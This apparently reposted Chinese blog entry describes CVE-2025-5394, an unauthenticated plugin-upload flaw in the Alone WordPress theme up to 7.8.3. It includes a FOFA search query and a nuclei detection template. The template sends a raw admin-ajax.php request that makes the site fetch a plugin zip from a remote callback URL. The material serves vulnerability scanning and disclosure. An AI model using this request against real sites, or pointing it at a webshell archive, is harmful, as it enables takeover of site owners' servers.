Alone Theme 未授权任意插件上传漏洞

漏洞信息

漏洞名称: Alone Theme 未授权任意插件上传漏洞

漏洞编号:

  • CVE: CVE-2025-5394

漏洞类型: 文件上传

漏洞等级: 严重

漏洞描述: Alone Theme是一款专为慈善和非盈利组织设计的WordPress主题,广泛用于搭建慈善、募捐和非盈利组织的网站。该主题在7.8.3及之前的所有版本中,存在一个未授权任意文件上传漏洞,攻击者可以利用此漏洞上传包含webshell的zip文件,伪装成插件,从而实现远程代码执行。

漏洞的根源在于alone_import_pack_install_plugin()函数缺少对用户权限的检查,导致未认证的攻击者也能调用该函数上传文件。这种设计缺陷使得攻击者可以绕过正常的权限验证流程,直接上传恶意文件。

此漏洞的影响极为严重,因为它允许未认证的攻击者在目标服务器上执行任意代码,可能导致服务器被完全控制,数据泄露,甚至被用作进一步攻击的跳板。由于无需任何认证,攻击者可以自动化地大规模利用此漏洞,对使用该主题的网站构成广泛威胁。漏洞已在7.8.5版本中修复,建议所有用户立即升级到最新版本以避免潜在的安全风险。

产品名称: Alone – Charity Multipurpose Non-profit WordPress Theme

影响版本: version <= 7.8.3

搜索语法: body=”/wp-content/themes/alone/“

来源: https://github.com/projectdiscovery/nuclei-templates/blob/39e10109243dfd1a53a5c5f9754b3ea36abc8bc3/http%2Fcves%2F2025%2FCVE-2025-5394.yaml

类型: projectdiscovery/nuclei-templates:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

id: CVE-2025-5394

info:
name: Unauthenticated Arbitrary Plugin Upload in Alone Theme
author: Nxploited,DhiyaneshDK
severity: critical
description: |
The Alone – Charity Multipurpose Non-profit WordPress Theme theme for WordPress is vulnerable to arbitrary file uploads due to a missing capability check on the alone_import_pack_install_plugin() function in all versions up to, and including, 7.8.3.
impact: |
This makes it possible for unauthenticated attackers to upload zip files containing webshells disguised as plugins from remote locations to achieve remote code execution.
remediation: Fixed in 7.8.5.
reference:
- https://github.com/Nxploited/CVE-2025-5394/tree/main
- https://x.com/cloudflare/status/1951319364856058035?s=46
metadata:
verified: true
max-request: 1
publicwww-query: "/wp-content/themes/alone/"
fofa-query: body="/wp-content/themes/alone/"
tags: cve,cve2025,unauth,file-upload,rce

http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

action=beplus_import_pack_install_plugin&data%5Bplugin_slug%5D=&data%5Bplugin_source%5D=https%3a%2f%2f{{interactsh-url}}%2fplugin%2f%7b%7b{{randstr}}%7d%7d.zip
# No plugin is uploaded or updated; just sending interactsh-url with randstr.

skip-variables-check: true

matchers:
- type: dsl
dsl:
- contains_all(body, '\"success\":true','\"substep\":\"activate\"')
- contains(content_type, 'application/json')
- status_code == 200
condition: and



Alone Theme 未授权任意插件上传漏洞
http://example.com/2025/08/03/github_1152432120/
作者
lianccc
发布于
2025年8月3日
许可协议